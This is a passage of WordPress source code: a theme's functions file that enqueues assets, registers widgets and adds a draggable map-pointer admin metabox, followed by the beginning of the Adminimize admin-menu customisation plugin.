add_action( 'wp_enqueue_scripts', 'fdc_styles' );
function fdc_styles_admin(){
wp_enqueue_style( 'admin-stylesheet', get_template_directory_uri().'/assets/css/admin.css', false, '1.0' );
}
add_filter( 'login_headerurl', 'fdc_styles_admin' );
add_filter( 'admin_head', 'fdc_styles_admin' );
/*---------------------------------------------------*/
/* SCRIPTS */
/*---------------------------------------------------*/
function fdc_script(){
wp_deregister_script('jquery');
wp_enqueue_script( 'jquery', get_template_directory_uri().'/assets/js/jquery.js', false, '1.11.1', true ); // JQUERY
wp_enqueue_script( 'bootstrap', get_template_directory_uri().'/assets/js/bootstrap.min.js', false, '3.0', true ); // BOOTSTRAP
wp_enqueue_script( 'image_center', get_template_directory_uri().'/assets/js/jquery.blImageCenter.js', false, '', true ); // IMAGE CENTER
wp_enqueue_script( 'lazyload', get_template_directory_uri().'/assets/js/jquery.lazyload.min.js', false, '1.9.3', true ); // LAZYLOAD
/// GMAPS
wp_register_script('googlemaps', ('http://maps.google.com/maps/api/js?v=3.exp&sensor=false'), false, null, true);
wp_enqueue_script('googlemaps');
wp_enqueue_script( 'gmaps', get_template_directory_uri().'/assets/js/gmap3.min.js', false, '6.0.0', true ); // GMAPS
///Additional scripts:
wp_enqueue_script( 'viewportchecker', get_template_directory_uri().'/assets/js/jquery.viewportchecker.js', false, '1.4.2', true ); // VIEWPORT CHECKER
wp_enqueue_script( 'masonry', get_template_directory_uri().'/assets/js/masonry.pkgd.min.js', false, '3.1.5', true ); // MASONRY
wp_enqueue_script( 'slick', get_template_directory_uri().'/assets/js/slick.js', false, '1.3.7', true ); // SLICK SLIDER
wp_enqueue_script( 'windows', get_template_directory_uri().'/assets/js/jquery.windows.js', false, '0.0.1', true ); // WINDOWS
wp_enqueue_script( 'site', get_template_directory_uri().'/assets/js/twwf.js', false, '1.0', true ); // SITE SCRIPTS
}
add_action( 'wp_enqueue_scripts', 'fdc_script' );
/*------------------------------------------------*/
/* REGISTER SIDEBAR */
/*------------------------------------------------*/
function fdc_register_sidebars(){
register_sidebar(array(
'id' => 'sidebar',
'name' => 'Sidebar',
'description' => 'Sidebar principal',
'before_widget' => '<div class="space3 %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>'
));
}// fdc_register_sidebars end
//add_action('init', 'fdc_register_sidebars');
/*---------------------------------------------------------*/
/* WIDGETS */
/*---------------------------------------------------------*/
/// WIDGEWT OFFERS
require_once get_template_directory().'/widgets/offers-panel.php';
/// COURSES WIDGEWT
require_once get_template_directory().'/widgets/courses-widget.php';
/// OUR TEAM WIDGET
require_once get_template_directory().'/widgets/team-grid.php';
/// SOCIAL WIDGET
require_once get_template_directory().'/widgets/widget-social.php';
/*---------------------------------------------------------*/
/* LOCATIONS MAP */
/*---------------------------------------------------------*/
add_action( 'add_meta_boxes', 'action_add_meta_boxes', 0 );
function action_add_meta_boxes(){
$post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'] ;
$template_file = get_post_meta($post_id,'_wp_page_template',TRUE);
if( $template_file == 'pages/locations.php' ){
add_meta_box(
'description_sectionid',
__('Temp metabox'),
'inner_custom_box',
'page', 'normal', 'high'
);
}
}
function inner_custom_box( $post ){
?>
<div id="map-editor">
<div class="map">
<!-- <img src="../wp-content/themes/TWWF/assets/images/locations.svg" /> -->
<? get_template_part('assets/images/inline', 'locations.svg'); ?>
</div>
</div>
<style type="text/css" media="screen">
#map-editor{background:#eb2142; width:100%; padding:40px 20px; display:block; overflow:auto; box-sizing:border-box;}
#map-editor .map{width:950px; margin:0 auto; display:block; position:relative;}
#map-editor .map #map-locations{width:950px; height:590px; opacity:.4;}
.pointer{background:#fff; font-size:9px; line-height:1.6; font-weight:600; text-align:center; width:16px; height:16px; position:absolute; border-radius:50%; cursor:move;}
.states-hover{display:none;}
</style>
<?php
if( is_admin() ):
wp_enqueue_script('drag', get_template_directory_uri().'/assets/js/draggabilly.pkgd.min.js', false, '1.0.0');
endif;
?>
<script>
jQuery(document).ready(function(){
var $ = jQuery;
create_points();
$('.add-row-end').on('click', function(){ add_pointers(400) });
$('.acf-button-add').on('click', function(){ add_pointers(400) });
$('.acf-button-remove').on('click', function(){ add_pointers(700) });
function add_pointers(time){
setTimeout(function(){
create_points();
}, time);
}
});//jQuery
function create_points(){
var $ = jQuery;
$('#map-editor .map .pointer').detach();
var $row = $('#acf-locations .acf-input-table tr.row'),
$row_length = $row.length;
for( $i = 1; $i <= $row_length; $i++ ){
var $left = $row.eq($i-1).find('[data-field_name="pos_x"] input').val(),
$top = $row.eq($i-1).find('[data-field_name="pos_y"] input').val();
$('#map-editor .map').append('<span class="pointer" data-pointer="'+ $i +'" style="left:'+ $left +'px; top:'+ $top +'px;">'+ $i +'</span>');
if( $i == $row_length ){ dragpoints() }
}
}
function dragpoints(){
var $ = jQuery,
container = document.querySelector('#map-editor .map'),
elems = container.querySelectorAll('.pointer');
for( var i=0, len = elems.length; i < len; i++ ){
var elem = elems[i];
draggie = new Draggabilly( elem, {
containment: true
});
draggie.on('dragMove', function( draggieInstance, event, pointer ) {
var $id = draggieInstance.element.dataset.pointer,
$row = $('#acf-locations .acf-input-table tr.row'),
$map_x = $('#map-editor .map').offset().left;
$map_y = $('#map-editor .map').offset().top;
$x = draggieInstance.position.x,
$y = draggieInstance.position.y;
console.log(draggieInstance);
$row.eq($id-1).find('[data-field_name="pos_x"] input').val( Math.round($x) );
$row.eq($id-1).find('[data-field_name="pos_y"] input').val( Math.round($y) );
});
}
}
</script>
<?
}
<file_sep>/wp-content/themes/TWWF/lib/functions/fdc-postsformats.php
<?php
// disable direct access to the file
defined('FDC_ACCESS') or die('Access denied');
add_theme_support( 'post-formats', array(
'aside',
'gallery',
'link',
'image',
'quote',
//'status',
'video',
//'chat',
//'status',
'audio'
) );
<file_sep>/wp-content/themes/TWWF/lib/plugins/adminimize-1.8.4/adminimize.php
<?php
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
global $wp_version;
if ( version_compare( $wp_version, "2.5alpha", "<" ) ) {
$exit_msg = 'The plugin <em><a href="http://bueltge.de/wordpress-admin-theme-adminimize/674/">Adminimize</a></em> requires WordPress 2.5 or newer. <a href="http://codex.wordpress.org/Upgrading_WordPress">Please update WordPress</a> or delete the plugin.';
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit( $exit_msg );
}
// plugin definitions
define( 'FB_ADMINIMIZE_BASENAME', plugin_basename( __FILE__ ) );
define( 'FB_ADMINIMIZE_BASEFOLDER', plugin_basename( dirname( __FILE__ ) ) );
define( 'FB_ADMINIMIZE_TEXTDOMAIN', _mw_adminimize_get_plugin_data( 'TextDomain' ) );
function _mw_adminimize_get_plugin_data( $value = 'Version' ) {
if ( ! function_exists( 'get_plugin_data' ) )
require_once( ABSPATH . '/wp-admin/includes/plugin.php' );
$plugin_data = get_plugin_data( __FILE__ );
$plugin_value = $plugin_data[$value];
return $plugin_value;
}
function _mw_adminimize_textdomain() {
load_plugin_textdomain(
_mw_adminimize_get_plugin_data( 'TextDomain' ),
FALSE,
dirname( FB_ADMINIMIZE_BASENAME ) . _mw_adminimize_get_plugin_data( 'DomainPath' )
);
}
function _mw_adminimize_recursive_in_array( $needle, $haystack ) {
if ( '' != $haystack ) {
foreach ( $haystack as $stalk ) {
if ( $needle == $stalk ||
( is_array( $stalk) &&
_mw_adminimize_recursive_in_array( $needle, $stalk )
)
) {
return TRUE;
}
}
return FALSE;
}
}
/**
* some basics for message
*/
class _mw_adminimize_message_class {
/**
* constructor
*/
function _mw_adminimize_message_class() {
$this->localizion_name = FB_ADMINIMIZE_TEXTDOMAIN;
$this->errors = new WP_Error();
$this->initialize_errors();
}
/**
* get_error - Returns an error message based on the passed code
* Parameters - $code (the error code as a string)
* @return Returns an error message
*/
function get_error( $code = '' ) {
$errorMessage = $this->errors->get_error_message( $code );
if ( NULL == $errorMessage )
return __( 'Unknown error.', $this->localizion_name );
return $errorMessage;
}
/**
* Initializes all the error messages
*/
function initialize_errors() {
$this->errors->add( '_mw_adminimize_update', __( 'The updates were saved.', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_access_denied', __( 'You have not enough rights to edit entries in the database.', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_import', __( 'All entries in the database were imported.', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_deinstall', __( 'All entries in the database were deleted.', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_deinstall_yes', __( 'Set the checkbox on deinstall-button.', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_get_option', __( 'Can\'t load menu and submenu.', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_set_theme', __( 'Backend-Theme was activated!', $this->localizion_name ) );
$this->errors->add( '_mw_adminimize_load_theme', __( 'Load user data to themes was successful.', $this->localizion_name ) );
}
} // end class
function _mw_adminimize_exclude_super_admin() {
// exclude super admin
if ( function_exists( 'is_super_admin' )
&& is_super_admin()
&& 1 == _mw_adminimize_get_option_value( '_mw_adminimize_exclude_super_admin' )
)
return TRUE;
return FALSE;
}
/**
* _mw_adminimize_get_all_user_roles() - Returns an array with all user roles(names) in it.
* Inclusive self defined roles (for example with the 'Role Manager' plugin).
* code by <NAME>, www.webRtistik.nl
* @uses $wp_roles
* @return $user_roles
*/
function _mw_adminimize_get_all_user_roles() {
global $wp_roles;
$user_roles = array();
if ( isset( $wp_roles->roles) && is_array( $wp_roles->roles) ) {
foreach ( $wp_roles->roles as $role => $data) {
array_push( $user_roles, $role );
//$data contains caps, maybe for later use..
}
}
// exclude the new bbPress roles
$user_roles = array_diff(
$user_roles,
array( 'bbp_keymaster', 'bbp_moderator', 'bbp_participant', 'bbp_spectator', 'bbp_blocked' )
);
return $user_roles;
}
/**
* _mw_adminimize_get_all_user_roles_names() - Returns an array with all user roles_names in it.
* Inclusive self defined roles (for example with the 'Role Manager' plugin).
* @uses $wp_roles
* @return $user_roles_names
*/
function _mw_adminimize_get_all_user_roles_names() {
global $wp_roles;
$user_roles_names = array();
foreach ( $wp_roles->role_names as $role_name => $data) {
if ( function_exists( 'translate_user_role' ) )
$data = translate_user_role( $data );
else
$data = translate_with_context( $data );
array_push( $user_roles_names, $data );
}
// exclude the new bbPress roles
$user_roles_names = array_diff(
$user_roles_names,
array( __( 'Keymaster', 'bbpress' ), __( 'Moderator', 'bbpress' ), __( 'Participant', 'bbpress' ), __( 'Spectator', 'bbpress' ), __( 'Blocked', 'bbpress' ) )
);
return $user_roles_names;
}
/**
* Control Flash Uploader
*
* @return boolean
*/
function _mw_adminimize_control_flashloader() {
$_mw_adminimize_control_flashloader = _mw_adminimize_get_option_value( '_mw_adminimize_control_flashloader' );
if ( $_mw_adminimize_control_flashloader == '1' ) {
return FALSE;
} else {
return TRUE;
}
}
/**
* return post type
*/
function _mw_get_current_post_type() {
global $post, $typenow, $current_screen;
//we have a post so we can just get the post type from that
if ( $post && $post->post_type )
return $post->post_type;
//check the global $typenow - set in admin.php
else if( $typenow )
return $typenow;
// check the global $current_screen object - set in sceen.php
else if( $current_screen && $current_screen->post_type )
return $current_screen->post_type;
// lastly check the post_type querystring
else if( isset( $_REQUEST['post_type'] ) )
return sanitize_key( $_REQUEST['post_type'] );
// we do not know the post type!
return NULL;
}
/**
* check user-option and add new style
* @uses $pagenow
*/
function _mw_adminimize_admin_init() {
global $pagenow, $post_type, $menu, $submenu, $wp_version;
if ( isset( $_GET['post'] ) )
$post_id = (int) esc_attr( $_GET['post'] );
elseif ( isset( $_POST['post_ID'] ) )
$post_id = (int) esc_attr( $_POST['post_ID'] );
else
$post_id = 0;
$current_post_type = $post_type;
if ( ! isset( $current_post_type ) || empty( $current_post_type ) )
$current_post_type = get_post_type( $post_id );
if ( ! isset( $current_post_type ) || empty( $current_post_type ) )
$current_post_type = _mw_get_current_post_type();
if ( ! $current_post_type ) // set hard to post
$current_post_type = 'post';
$user_roles = _mw_adminimize_get_all_user_roles();
// check for use on multisite
if ( is_multisite() && is_plugin_active_for_network( MW_ADMIN_FILE ) )
$adminimizeoptions = get_site_option( 'mw_adminimize' );
else
$adminimizeoptions = get_option( 'mw_adminimize' );
// pages for post type Post
$def_post_pages = array( 'edit.php', 'post.php', 'post-new.php' );
$def_post_types = array( 'post' );
$disabled_metaboxes_post_all = array();
// pages for post type Page
$def_page_pages = array_merge( $def_post_pages, array( 'page-new.php', 'page.php' ) );
$def_page_types = array( 'page' );
$disabled_metaboxes_page_all = array();
// pages for custom post types
$def_custom_pages = $def_post_pages;
$args = array( 'public' => TRUE, '_builtin' => FALSE );
$def_custom_types = get_post_types( $args );
// pages for link pages
$link_pages = array( 'link.php', 'link-manager.php', 'link-add.php', 'edit-link-categories.php' );
// pages for nav menu
$nav_menu_pages = array( 'nav-menus.php' );
// widget pages
$widget_pages = array( 'widgets.php' );
// get admin color for current user
$_mw_admin_color = get_user_option( 'admin_color' );
foreach ( $user_roles as $role ) {
$disabled_global_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_admin_bar_' . $role . '_items'
);
$disabled_global_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_global_option_' . $role . '_items'
);
$disabled_metaboxes_post_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_post_' . $role . '_items'
);
$disabled_metaboxes_page_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_page_' . $role . '_items'
);
foreach ( $def_custom_types as $post_type ) {
$disabled_metaboxes_[$post_type . '_' . $role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items'
);
}
$disabled_link_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_link_option_' . $role . '_items'
);
$disabled_nav_menu_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_nav_menu_option_' . $role . '_items'
);
$disabled_widget_option_[$role] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
array_push( $disabled_metaboxes_post_all, $disabled_metaboxes_post_[$role] );
array_push( $disabled_metaboxes_page_all, $disabled_metaboxes_page_[$role] );
}
// global options
// exclude super admin
if ( ! _mw_adminimize_exclude_super_admin() ) {
$_mw_adminimize_footer = _mw_adminimize_get_option_value( '_mw_adminimize_footer' );
switch ( $_mw_adminimize_footer) {
case 1:
wp_enqueue_script(
'_mw_adminimize_remove_footer',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/remove_footer.js',
array( 'jquery' )
);
break;
}
$_mw_adminimize_header = _mw_adminimize_get_option_value( '_mw_adminimize_header' );
switch ( $_mw_adminimize_header) {
case 1:
wp_enqueue_script(
'_mw_adminimize_remove_header',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/remove_header.js',
array( 'jquery' )
);
break;
}
//post-page options
if ( in_array( $pagenow, $def_post_pages ) ) {
$_mw_adminimize_tb_window = _mw_adminimize_get_option_value( '_mw_adminimize_tb_window' );
switch ( $_mw_adminimize_tb_window) {
case 1:
wp_deregister_script( 'media-upload' );
wp_enqueue_script(
'media-upload',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/tb_window.js',
array( 'thickbox' )
);
break;
}
$_mw_adminimize_timestamp = _mw_adminimize_get_option_value( '_mw_adminimize_timestamp' );
switch ( $_mw_adminimize_timestamp) {
case 1:
wp_enqueue_script(
'_mw_adminimize_timestamp',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/timestamp.js',
array( 'jquery' )
);
break;
}
//category options
$_mw_adminimize_cat_full = _mw_adminimize_get_option_value( '_mw_adminimize_cat_full' );
switch ( $_mw_adminimize_cat_full ) {
case 1:
wp_enqueue_style(
'adminimize-ful-category',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/css/mw_cat_full.css'
);
break;
}
// set default editor tinymce
if ( _mw_adminimize_recursive_in_array(
'#editor-toolbar #edButtonHTML, #quicktags, #content-html',
$disabled_metaboxes_page_all
)
|| _mw_adminimize_recursive_in_array(
'#editor-toolbar #edButtonHTML, #quicktags, #content-html',
$disabled_metaboxes_post_all
) )
add_filter( 'wp_default_editor', create_function( '', 'return "tinymce";' ) );
// remove media bottons
if ( _mw_adminimize_recursive_in_array( 'media_buttons', $disabled_metaboxes_page_all )
|| _mw_adminimize_recursive_in_array( 'media_buttons', $disabled_metaboxes_post_all ) )
remove_action( 'media_buttons', 'media_buttons' );
}
$_mw_adminimize_control_flashloader = _mw_adminimize_get_option_value( '_mw_adminimize_control_flashloader' );
switch ( $_mw_adminimize_control_flashloader) {
case 1:
add_filter( 'flash_uploader', '_mw_adminimize_control_flashloader', 1 );
break;
}
}
// set menu option
add_action( 'admin_head', '_mw_adminimize_set_menu_option', 1 );
// global_options
add_action( 'admin_head', '_mw_adminimize_set_global_option', 1 );
// set metabox post option
if ( in_array( $pagenow, $def_post_pages ) && in_array( $current_post_type, $def_post_types) )
add_action( 'admin_head', '_mw_adminimize_set_metabox_post_option', 1 );
// set metabox page option
if ( in_array( $pagenow, $def_page_pages ) && in_array( $current_post_type, $def_page_types) )
add_action( 'admin_head', '_mw_adminimize_set_metabox_page_option', 1 );
// set custom post type options
if ( function_exists( 'get_post_types' ) &&
in_array( $pagenow, $def_custom_pages ) &&
in_array( $current_post_type, $def_custom_types)
)
add_action( 'admin_head', '_mw_adminimize_set_metabox_cp_option', 1 );
// set link option
if ( in_array( $pagenow, $link_pages ) )
add_action( 'admin_head', '_mw_adminimize_set_link_option', 1 );
// set wp nav menu options
if ( in_array( $pagenow, $nav_menu_pages ) )
add_action( 'admin_head', '_mw_adminimize_set_nav_menu_option', 1 );
// set widget options
if ( in_array( $pagenow, $widget_pages ) )
add_action( 'admin_head', '_mw_adminimize_set_widget_option', 1 );
$adminimizeoptions['mw_adminimize_default_menu'] = $menu;
$adminimizeoptions['mw_adminimize_default_submenu'] = $submenu;
}
/**
* Init always with WP
*/
function _mw_adminimize_init() {
// change Admin Bar and user Info
if ( version_compare( $GLOBALS['wp_version'], '3.3alpha', '>=' ) ) {
_mw_adminimize_set_menu_option_33();
} else {
add_action( 'admin_head', '_mw_adminimize_set_user_info' );
add_action( 'wp_head', '_mw_adminimize_set_user_info' );
}
}
// on admin init
define( 'MW_ADMIN_FILE', plugin_basename( __FILE__ ) );
if ( is_admin() ) {
add_action( 'admin_init', '_mw_adminimize_textdomain' );
add_action( 'admin_init', '_mw_adminimize_admin_init', 2 );
/* maybe later
if ( is_multisite() && is_plugin_active_for_network( MW_ADMIN_FILE ) )
add_action( 'network_admin_menu', '_mw_adminimize_add_settings_page' );
*/
add_action( 'admin_menu', '_mw_adminimize_add_settings_page' );
add_action( 'admin_menu', '_mw_adminimize_remove_dashboard' );
}
add_action( 'init', '_mw_adminimize_init', 2 );
register_activation_hook( __FILE__, '_mw_adminimize_install' );
register_uninstall_hook( __FILE__, '_mw_adminimize_deinstall' );
//register_deactivation_hook(__FILE__, '_mw_adminimize_deinstall' );
/**
* list category-box in sidebar
* @uses $post_ID
*/
function _mw_adminimize_sidecat_list_category_box() {
global $post_ID;
?>
<div class="inside" id="categorydivsb">
<p><strong><?php _e("Categories"); ?></strong></p>
<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
<?php wp_category_checklist( $post_ID); ?>
</ul>
<?php if ( !defined( 'WP_PLUGIN_DIR' ) ) { // for wp <2.6 ?>
<div id="category-adder" class="wp-hidden-children">
<h4><a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3"><?php _e( '+ Add New Category' ); ?></a></h4>
<p id="category-add" class="wp-hidden-child">
<input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php _e( 'New category name' ); ?>" tabindex="3" />
<?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __( 'Parent category' ), 'tab_index' => 3 ) ); ?>
<input type="button" id="category-add-sumbit" class="add:categorychecklist:category-add button" value="<?php _e( 'Add' ); ?>" tabindex="3" />
<?php wp_nonce_field( 'add-category', '_ajax_nonce', FALSE ); ?>
<span id="category-ajax-response"></span>
</p>
</div>
<?php } else { ?>
<div id="category-adder" class="wp-hidden-children">
<h4><a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3"><?php _e( '+ Add New Category' ); ?></a></h4>
<p id="category-add" class="wp-hidden-child">
<label class="hidden" for="newcat"><?php _e( 'Add New Category' ); ?></label><input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php _e( 'New category name' ); ?>" tabindex="3" aria-required="TRUE"/>
<br />
<label class="hidden" for="newcat_parent"><?php _e( 'Parent category' ); ?>:</label><?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __( 'Parent category' ), 'tab_index' => 3 ) ); ?>
<input type="button" id="category-add-sumbit" class="add:categorychecklist:category-add button" value="<?php _e( 'Add' ); ?>" tabindex="3" />
<?php wp_nonce_field( 'add-category', '_ajax_nonce', FALSE ); ?>
<span id="category-ajax-response"></span>
</p>
</div>
<?php } ?>
</div>
<?php
}
/**
* Remove the dashboard
*
* @author Basic <NAME>
* @see http://www.ilfilosofo.com/blog/2006/05/24/plugin-remove-the-wordpress-dashboard/
*/
function _mw_adminimize_remove_dashboard() {
global $menu, $submenu, $user_ID, $wp_version;
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_menu_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_menu_' . $role . '_items' );
$disabled_submenu_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_submenu_' . $role . '_items' );
}
$disabled_menu_all = array();
$disabled_submenu_all = array();
foreach ( $user_roles as $role ) {
array_push( $disabled_menu_all, $disabled_menu_[$role] );
array_push( $disabled_submenu_all, $disabled_submenu_[$role] );
}
// remove dashboard
if ( $disabled_menu_all != '' || $disabled_submenu_all != '' ) {
foreach ( $user_roles as $role ) {
if ( current_user_can( $role ) ) {
if ( _mw_adminimize_recursive_in_array( 'index.php', $disabled_menu_[$role] ) || _mw_adminimize_recursive_in_array( 'index.php', $disabled_submenu_[$role] ) )
$redirect = TRUE;
else
$redirect = FALSE;
}
}
// redirect option, if Dashboard is inactive
if ( isset($redirect) && $redirect ) {
$_mw_adminimize_db_redirect = _mw_adminimize_get_option_value( '_mw_adminimize_db_redirect' );
$_mw_adminimize_db_redirect_admin_url = get_option( 'siteurl' ) . '/wp-admin/';
switch ( $_mw_adminimize_db_redirect) {
case 0:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'profile.php';
break;
case 1:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'edit.php';
break;
case 2:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'edit.php?post_type=page';
break;
case 3:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'post-new.php';
break;
case 4:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'page-new.php';
break;
case 5:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'edit-comments.php';
break;
case 6:
$_mw_adminimize_db_redirect = _mw_adminimize_get_option_value( '_mw_adminimize_db_redirect_txt' );
break;
}
// fallback for WP smaller 3.0
if ( version_compare( $wp_version, "3.0alpha", "<") && 'edit.php?post_type=page' == $_mw_adminimize_db_redirect )
$_mw_adminimize_db_redirect = 'edit-pages.php';
$the_user = new WP_User( $user_ID);
reset( $menu);
$page = key( $menu);
while ( (__( 'Dashboard' ) != $menu[$page][0] ) && next( $menu) || (__( 'Dashboard' ) != $menu[$page][1] ) && next( $menu) )
$page = key( $menu);
if (__( 'Dashboard' ) == $menu[$page][0] || __( 'Dashboard' ) == $menu[$page][1] )
unset( $menu[$page] );
reset( $menu); $page = key( $menu);
while ( ! $the_user->has_cap( $menu[$page][1] ) && next( $menu) )
$page = key( $menu);
if ( preg_match( '#wp-admin/?(index.php)?$#', $_SERVER['REQUEST_URI'] ) ) {
wp_redirect( $_mw_adminimize_db_redirect );
}
}
}
}
/**
* set menu options from database
*/
function _mw_adminimize_set_user_info() {
global $pagenow, $menu, $submenu, $user_identity, $wp_version;
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() )
return NULL;
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_menu_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_menu_' . $role . '_items' );
$disabled_submenu_[$role] = _mw_adminimize_get_option_value( 'mw_adminimize_disabled_submenu_' . $role . '_items' );
}
$_mw_adminimize_admin_head = "\n";
$_mw_adminimize_user_info = _mw_adminimize_get_option_value( '_mw_adminimize_user_info' );
$_mw_adminimize_ui_redirect = _mw_adminimize_get_option_value( '_mw_adminimize_ui_redirect' );
// change user-info
switch ( $_mw_adminimize_user_info) {
case 1:
$_mw_adminimize_admin_head .= '<script type="text/javascript">' . "\n";
$_mw_adminimize_admin_head .= "\t" . 'jQuery(document).ready(function() { jQuery(\'#user_info\' ).remove(); });' . "\n";
$_mw_adminimize_admin_head .= '</script>' . "\n";
break;
case 2:
if ( version_compare( $wp_version, "3.2alpha", ">=") ) {
if ( function_exists( 'is_admin_bar_showing' ) && is_admin_bar_showing() )
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info31.css" type="text/css" />' . "\n";
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info32.css" type="text/css" />' . "\n";
} elseif ( version_compare( $wp_version, "3.0alpha", ">=") ) {
if ( function_exists( 'is_admin_bar_showing' ) && is_admin_bar_showing() )
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info31.css" type="text/css" />' . "\n";
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info30.css" type="text/css" />' . "\n";
} elseif ( version_compare(substr( $wp_version, 0, 3), '2.7', '>=' ) ) {
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info27.css" type="text/css" />' . "\n";
} else {
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info.css" type="text/css" />' . "\n";
}
$_mw_adminimize_admin_head .= '<script type="text/javascript">' . "\n";
$_mw_adminimize_admin_head .= "\t" . 'jQuery(document).ready(function() { jQuery(\'#user_info\' ).remove();';
if ( $_mw_adminimize_ui_redirect == '1' ) {
$_mw_adminimize_admin_head .= 'jQuery(\'div#wpcontent\' ).after(\'<div id="small_user_info"><p><a href="' . get_option( 'siteurl' ) . wp_nonce_url( ( '/wp-login.php?action=logout&redirect_to=' ) . get_option( 'siteurl' ) , 'log-out' ) . '" title="' . __( 'Log Out' ) . '">' . __( 'Log Out' ) . '</a></p></div>\' ) });' . "\n";
} else {
$_mw_adminimize_admin_head .= 'jQuery(\'div#wpcontent\' ).after(\'<div id="small_user_info"><p><a href="' . get_option( 'siteurl' ) . wp_nonce_url( ( '/wp-login.php?action=logout' ) , 'log-out' ) . '" title="' . __( 'Log Out' ) . '">' . __( 'Log Out' ) . '</a></p></div>\' ) });' . "\n";
}
$_mw_adminimize_admin_head .= '</script>' . "\n";
break;
case 3:
if ( version_compare( $wp_version, "3.2alpha", ">=") ) {
if ( function_exists( 'is_admin_bar_showing' ) && is_admin_bar_showing() )
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info31.css" type="text/css" />' . "\n";
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info32.css" type="text/css" />' . "\n";
} elseif ( version_compare( $wp_version, "3.0alpha", ">=") ) {
if ( function_exists( 'is_admin_bar_showing' ) && is_admin_bar_showing() )
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info31.css" type="text/css" />' . "\n";
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info30.css" type="text/css" />' . "\n";
} elseif ( version_compare(substr( $wp_version, 0, 3), '2.7', '>=' ) ) {
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info27.css" type="text/css" />' . "\n";
} else {
$_mw_adminimize_admin_head .= '<link rel="stylesheet" href="' . WP_PLUGIN_URL . '/' . plugin_basename( dirname(__FILE__) ) . '/css/mw_small_user_info.css" type="text/css" />' . "\n";
}
$_mw_adminimize_admin_head .= '<script type="text/javascript">' . "\n";
$_mw_adminimize_admin_head .= "\t" . 'jQuery(document).ready(function() { jQuery(\'#user_info\' ).remove();';
